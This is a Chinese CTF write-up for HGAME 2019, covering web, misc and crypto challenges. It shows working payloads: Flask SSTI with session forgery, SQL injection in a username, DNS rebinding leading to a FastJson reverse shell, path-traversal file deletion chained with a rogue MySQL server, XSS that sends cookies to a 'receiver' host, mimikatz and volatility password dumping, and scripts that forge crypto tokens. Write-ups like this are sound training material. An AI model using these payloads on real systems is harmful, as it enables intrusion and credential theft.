Contents
web
happyPython [300]
flask SSTI,一开始以为要读文件或 getshell,但是过滤了圆括号一直无法成功,后来发现只要得到 flask app 的 SECRET_KEY
来伪造 session cookie 即可
首先注册并登录,在 URL 中进行测试,访问 “http://[REDACTED]/{{ 1+1 }}” 页面显示 “/2 doesn't exist.” 证明存在 SSTI 漏洞
通过 /{{ config }}
,得到 “'SECRET_KEY': '9RxdzNwq7!nOoK3*'”
使用 noraj/flask-session-cookie-manager 库即可加解密 session cookie
$ python session_cookie_manager.py decode -s '9RxdzNwq7!nOoK3*' -c '.eJwlj0uqAjEQAO-StYt0ku5Oe5kh_UMRFGZ09Xh3d8B1UVD1V7
bc47iV63v_xKVsdy_Xku6Bs0ntGBmGHcAqQoayL1-yoEKmppsEt9GWo0dTyHkKIVpFNZa2qJMQFnsGEvtwd2oBHJ29k2k1IbMwOnGjNSMzTYeVS7Fjz-39e
sTz7CEBVkEGn9GdFFYn8oHJDCo9B8vELvP0PkfsvwnE8v8FhHpBvQ.XHHyjQ.9yOhR9EUct0NgifQt8-P-Cnrv5g'
{'_fresh': True, '_id': 'fdde5829035efec5311c051feb7dada9a101ffbfdc9e7242ad5de2b1f835ee9b09bbeab2e08651a7dfe567d4ddd62e17e37d36cb0c96ccec6e5626a8efffcb4c', 'csrf_token': '6917b9571d8e3d6b1a366d45f771b93f47985398', 'user_id': '55'}
将参数 user_id 的值改为 1,encode 得到 cookie 值,访问页面即可得到 flag
Flag: hgame{Qu_bu_la1_m1ng_z1_14}
happyPHP [300]
php Laravel 渗透
首先注册并登录,在 HTML 中发现注释 “https://github.com/Lou00/laravel”,拉取仓库后进行源码审计
在 app/Http/Controllers/SessionsController.php 中存在 SQL 注入漏洞
// ...[OMITTED]...
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
// ...[OMITTED]...
注册 name 为 ' union select email from users where id=1#
的用户并登录,得到管理员账号的邮箱字段为 “[email protected]”
注册 ' union select password from users where id=1#
,得到管理员账号的密码字段为 “eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ=\=”
这是通过 Laravel 辅助函数 encrypt
加密得到的,解密需要使用 APP_KEY,而源码中并没有 .env 文件指定它
通过 git log 可以看到 .env 文件被删除,进行版本回退即可恢复
$ git log
commit 2b83986cd06306a71c315c5d5c7bb113f40782c0 (HEAD -> master, origin/master, origin/HEAD)
Author: Lou00 <[REDACTED]>
Date: Wed Jan 23 12:11:23 2019 +0800
Delete readme.md
commit f65702561830c4fe7e9df5936919e81be899f96f
Author: Lou00 <[REDACTED]>
Date: Wed Jan 23 12:10:14 2019 +0800
Delete .env
commit 92caefbeb6c6432a0dad2a9767350633ddbb0ea4
Author: Lou00 <[REDACTED]>
Date: Wed Jan 23 12:09:40 2019 +0800
first commit
$ git reset --hard 92caefbeb6c6432a0dad2a9767350633ddbb0ea4
HEAD is now at 92caefb first commit
既然 .env 已被恢复,在源码目录通过 artisan tinker 可以直接进行解密
$ php artisan tinker
Psy Shell v0.9.9 (PHP 7.3.2 — cli) by Justin Hileman
>>> decrypt('eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==');
=> "9pqfPIer0Ir9UUfR"
登录管理员账号即可得到 flag
Flag: hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}
happyJava [600]
Spring Boot Actuator,可以用脚本扫描一下可访问的 actuator,发现 http://[REDACTED]:9876/mappings 可以得到路由表
{
// ...[OMITTED]...
"{[/you_will_never_find_this_interface],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
},
"{[/secret_flag_here],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
},
// ...[OMITTED]...
}
其中 /secret_flag_here
接口可以获得 flag,但仅限 IP 为 127.0.0.1 访问
/youwillneverfindthis_interface
接口接受一个 “url” 参数,会访问该 URL 并回显页面,但不能直接访问 127.0.0.1 或会被解析到 127.0.0.1 的 URL
此时可以通过 DNS Rebinding 攻击,使程序第一次请求 DNS 解析时结果一般的 IP,进行 HTTP 请求时解析到 127.0.0.1,可以使用 nccgroup/singularity,或建立两条 A 记录,其中一条指向 127.0.0.1,有 1/4 的几率成功
成功后得到回显 “data cant be empty!”,给 URL 加上 data 参数 1 进行测试,返回 “WoW! Convert JSON to object...OK!\nResult: 1”
可能存在 FastJson 反序列化漏洞,经过测试发现可以提交经过两次 URLEncode 的 JSON payload 来进行攻击
相关资料请见这里
反弹 shell 后找到 flag 位于 /hgame_flag,读取即可
Flag: hgame{J4v4_ls_s0_34sy_4nd_s0_h4ppy}
happyGo [600]
一个包含以下功能的基于 beego v1.11.1 的网站,提供了源码
- 用户注册、登录、上传头像
- 留言查看、新建
类似 BCTF 2018 Web Checkin [存档],但类似 CVE-2018-18925 的漏洞在该版本的 beego 中已被修复,需要进行源码审计找到另外的方法
在 controllers/userinfo.go
中:
func (c *UserInfoController) Post() {
uid := c.GetSession("uid")
if uid == nil {
c.Abort("500")
}
f, h, err := c.GetFile("uploadname")
if err != nil {
c.Abort("500")
}
defer f.Close()
c.SaveToFile("uploadname", "static/uploads/" + h.Filename)
o := orm.NewOrm()
u := models.Users{Id: uid.(int)}
err = o.Read(&u)
if err != nil {
c.Abort("500")
}
u.Avatar = "/static/uploads/" + h.Filename
_, err = o.Update(&u)
if err != nil {
c.Abort("500")
}
c.Redirect("/userinfo", http.StatusFound)
}
此处上传修改头像的逻辑存在漏洞,通过修改 POST 数据中的 name
参数(源码中的 h.Filename
),即可使上传文件被保存到任意位置
在本地搭建好环境,得到一个 UID 为 "1" 的管理员账号的 session 文件,修改 name 参数指定目标路径上传后,修改 cookie PHPSESSID 的值即可使用它伪造身份
管理员账号可以进入后台管理界面,进行删除用户操作,相关实现位于 controllers/admin.go
中:
// ...[OMITTED]...
func (u *UserDelController) Get() {
uid := u.GetSession("uid")
if uid == nil {
u.Abort("500")
}
if uid.(int) != 1 {
u.Redirect("/", http.StatusFound)
return
}
id := u.Ctx.Input.Param(":id")
i, _ := strconv.Atoi(id)
if i == 1 {
u.Redirect("/admin", http.StatusFound)
return
}
o := orm.NewOrm()
user := models.Users{Id:i}
err := o.Read(&user)
if err != nil {
u.Abort("500")
}
if user.Avatar != "/static/img/avatar.jpg" {
os.Remove(user.Avatar)
}
o.QueryTable("messages").Filter("uid", id).Delete()
o.Delete(&user)
u.Redirect("/admin", http.StatusFound)
}
// ...[OMITTED]...
此处存在漏洞,通过修改上传头像的 name 参数,可以使数据库中该用户的头像文件字段(avatar)值为任意文件,然后被 “os.Remove(user.Avatar)” 操作删除
利用这个漏洞可以删除数据库配置文件 conf/app.conf
,如果该文件不存在,就可以通过配置页面(/install
)重新配置数据库连接参数
然后通过搭建 恶意 MySQL 服务端
,可以利用 LOAD DATA INFILE
语法使客户端读取指定文件内容,相关信息见这里 [存档]
使用 bettercap 及其模块可以进行简单的搭建
$ bettercap -eval "set mysql.server.port 3307; set mysql.server.infile /flag; mysql.server on"
由于版本问题可能需要通过 tcpdump 抓包才能看到文件内容
(或使用 allyshka/Rogue-MySql-Server)
综上,整体攻击流程为:
- 注册用户 1,上传头像时指定 name 参数为
../../conf/app.conf
- 注册用户 2,上传头像时指定 name 参数为
../../tmp/0/5/058090c5e2f3bec1f08b40ae7aac3bc2
,文件内容为伪造的 UID="1" 的 session - 访问后台管理页面,删除用户 1
- 指定数据库连接配置为搭建好的恶意 MySQL 服务端
(其中伪造的 session 文件路径随意,只需满足格式:../../tmp/substr(filename, 0, 1)/substr(filename, 1, 1)/filename
)
Flag: hgame{7e5b8be2-eef8-4dca-8997-9c4260fd34a8}
HappyXss [300]
XSS 题,大量敏感字符会被替换为 “ Happy ! ”
且有 CSP:“default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *”
可以通过加载远程样式表来发送 cookie
构造 JS 如下:
var a=document.createElement('link');a.rel='stylesheet';a.href='http://receiver/?a='+btoa(document.cookie);document.body.appendChild(a);
进行 ASCII 编码,绕过敏感字符替换
payload 如下:
<iframe src=javascript:eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,108,105,110,107,39,41,59,97,46,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,59,97,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))>
后来得知只要用如下 payload 即可绕过替换(<script >
与 </script >
中的空格导致不匹配替换规则)
<script >eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script >
<!-- JS 代码为: window.location.href='http://receiver/xss.php?a='+document.cookie -->
打到 bot 的 cookie 中即有 flag
Flag: hgame{Xss_1s_Re@llY_Haaaaaappy!!!}
misc
Warmup [100]
Windows minidump 内存取证,使用 mimikatz 即可获得用户密码
mimikatz # sekurlsa::minidump 1.gif
Switch to MINIDUMP : '1.gif'
mimikatz # sekurlsa::logonPasswords
% ...[OMITTED]... %
tspkg :
* Username : Hgame
* Domain : xyf-PC
* Password : LOSER
% ...[OMITTED]... %
按题目要求计算得到密码 “LOSER” 的 SHA256 哈希值即为 flag
Flag: hgame{dd6dffcd56b77597157ac6c1beb514aa4c59d033098f806d88df89245824d3f5}
Clodown [200]
Windows 内存取证,使用 volatility 分析
(通过 imageinfo 插件分析得到的建议 profile 有误,实际应为 Win7SP1x64)
通过 hivelist 和 hashdump 插件来提取用户密码哈希值
$ python2 vol.py -f memory.mp4 --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual Physical Name
------------------ ------------------ ----
0xfffff8a003652010 0x00000000260a9010 \SystemRoot\System32\Config\SAM
0xfffff8a0062bd010 0x000000002143e010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00000f010 0x000000002bfa9010 [no name]
0xfffff8a000024010 0x000000002bf34010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a0000652d0 0x000000002c3772d0 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0007e1010 0x0000000027e59010 \SystemRoot\System32\Config\SECURITY
0xfffff8a0007f8280 0x00000000279dd280 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a001041350 0x000000001de7c350 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a001087010 0x000000001071a010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a0017dd010 0x000000000bd36010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a002054010 0x000000006509d010 \??\C:\Users\xyf\ntuser.dat
0xfffff8a0020be010 0x00000000078b6010 \??\C:\Users\xyf\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a00364f010 0x0000000025e26010 \SystemRoot\System32\Config\DEFAULT
$ python2 vol.py -f memory.mp4 --profile=Win7SP1x64 hashdump -s 0xfffff8a003652010 -y 0xfffff8a000024010
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xyf:1001:aad3b435b51404eeaad3b435b51404ee:0bb8d932bbfee69fbc874214f39b1b67:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:291e1d2ec16a080d9132d9b71af271cc:::
Hgame:1003:aad3b435b51404eeaad3b435b51404ee:e527b386483119c5218d9bb836109739:::
将用户 xyf 的密码 NTLM 哈希值 “0bb8d932bbfee69fbc874214f39b1b67” 在 cmd5.com 找出一个对应密码(admin123456),再计算其 SHA256 即为题目要求的 flag
Flag: hgame{ac0e7d037817094e9e0b4441f9bae3209d67b02fa484917065f71b16109a1a78}
暗藏玄机 [150]
两张看着一样的 PNG 图片,猜测为盲水印隐写,可使用 chishaxie/BlindWaterMark 直接提取出隐写内容
$ python2 bwm.py decode "开学啦.png" "开学了.png" output.png
image<开学啦.png> + image(encoded)<开学了.png> -> watermark<output.png>
得到的图片中即含有 flag
Flag: hgame{h1de_in_THE_p1Cture}
crypto
easy_rsa [200]
RSA 共模攻击,通过如下 python 脚本即可解出 m
from libnum import *
e1 = 0x33240
e2 = 0x3e4f
N = 0x9439682bf1b4ab48c43c524778c579cc844b60872275725c1dc893b5bcb358b9f136e4dab2a06318bb0c80e202a14bc54ea334519bec023934e01e9378abf329893f3870979e9f2f2be8fff4df931216a77007a2509f49f697bf286285e97fac5dc6e4a164b5c2cc430887b18136437ba67777bda05aafdeaf918221c812b4c7d1665238f84ab0fab7a77fcae92a0596e58343be7a8e6e75a5017c63a67eb11964970659cd6110e9ec6502288e9e443d86229ef2364dfecb63e2d90993a75356854eb874797340eece1b19974e86bee07019610467d44ec595e04af02b574a97fa98bdb2e779871c804219cab715f4a80fef7f8fb52251d86077560b39c1c2a1
c1 = 0x7c7f315a3ebbe305c1ad8bd2f73b1bb8e300912b6b8ba1b331ac2419d3da5a9a605fd62915c11f8921c450525d2efda7d48f1e503041498f4f0676760b43c770ff2968bd942c7ef95e401dd7facbd4e5404a0ed3ad96ae505f87c4e12439a2da636f047d84b1256c0e363f63373732cbaf24bda22d931d001dcca124f5a19f9e28608ebd90161e728b782eb67deeba4cc81b6df4e7ee29a156f51a0e5148618c6e81c31a91036c982debd1897e6f3c1e5e248789c933a4bf30d0721a18ab8708d827858b77c1a020764550a7fe2ebd48b6848d9c4d211fd853b7a02a859fa0c72160675d832c94e0e43355363a2166b3d41b8137100c18841e34ff52786867d
c2 = 0xf3a8b9b739196ba270c8896bd3806e9907fca2592d28385ef24afadc2a408b7942214dad5b9e14808ab988fb15fbd93e725edcc0509ab0dd1656557019ae93c38031d2a7c84895ee3da1150eda04cd2815ee3debaa7c2651b62639f785f6cabf83f93bf3cce7778ab369631ea6145438c3cd4d93d6f2759be3cc187651a33b3cc4c3b477604477143c32dfff62461fdfd9f8aa879257489bbf977417ce0fbe89e3f2464475624aafef57dd9ea60339793c69b53ca71d745d626f45e6a7beb9fcbd9d1a259433d36139345b7bb4f392e78f1b5be0d2c56ad50767ee851fac670946356b3c05d0605bf243b89c7e683cc75030b71633632fb95c84075201352d6
a, b, d = xgcd(e1,e2)
if b < 0:
c2 = invmod(c2, N)
b = -b
if a < 0:
c1 = invmod(c1, N)
a = -a
m = (pow(c1,a,N) * pow(c2,b,N)) % N
m3 = nroot(m, d)
print(m3)
Flag: hgame{59594981651654789}
Sign_in_SemiHard [500]
CNSS 2018 招新赛的题,通过如下 python 脚本即可解出 flag (需要 hashpumpy 模块进行哈希长度扩展攻击)
from hashpumpy import hashpump
from time import sleep
import socket
import re
#username: 01800000000000000000000000000000000000000000000000000000000000000000000000000000880000000000000064646d696e
originalPlainText = ['\x01'+'\x80'+'\x00'*14, '\x00'*16, '\x00'*8+'\x88'+'\x00'*7]
pad = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
def craftToken(craftedToken, decryptedUsername, step):
step = 2 - step
for i in range(16):
craftedToken[step*16+i] = chr(ord(originalPlainText[step][i]) ^ ord(craftedToken[step*16+i]) ^ ord(decryptedUsername[step*16+i]))
return craftedToken
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('[REDACTED]', 38611))
sleep(1)
response = s.recv(1024)
s.send('1\n')
response = s.recv(1024)
s.send('01\n')
response = s.recv(1024)
token = re.search(r'is:\s+(.*)\n', response).group(1)
craftedSig, _ = hashpump(token[-32:], '\x01', 'admin', 16)
print('Crafted sig: ' + craftedSig)
s.send('1\n')
response = s.recv(1024)
s.send('01800000000000000000000000000000000000000000000000000000000000000000000000000000880000000000000064646d696e\n')
response = s.recv(1024)
token = re.search(r'is:\s+(.*)\n', response).group(1)
token = list(token.decode('hex'))
token[48] = chr(ord(token[48]) ^ ord('d') ^ ord('a'))
token[-16:] = list(craftedSig.decode('hex'))
craftedToken = token
print('Crafted token: ' + ''.join(craftedToken).encode('hex'))
for step in range(0, 3):
s.send('2\n')
response = s.recv(1024)
s.send(''.join(craftedToken).encode('hex') + '\n')
response = s.recv(1024)
decryptedUsername = re.search(r'hex\)\s+(.*)\s+is', response).group(1)
decryptedUsername = list(pad(decryptedUsername.decode('hex')))
craftedToken = craftToken(craftedToken, decryptedUsername, step)
print('Crafted token: ' + ''.join(craftedToken).encode('hex'))
s.send('2\n')
response = s.recv(1024)
s.send(''.join(craftedToken).encode('hex') + '\n')
response = s.recv(1024)
print(response)
s.close()
Flag: hgame{hard_cryptooooo!}
0 Comments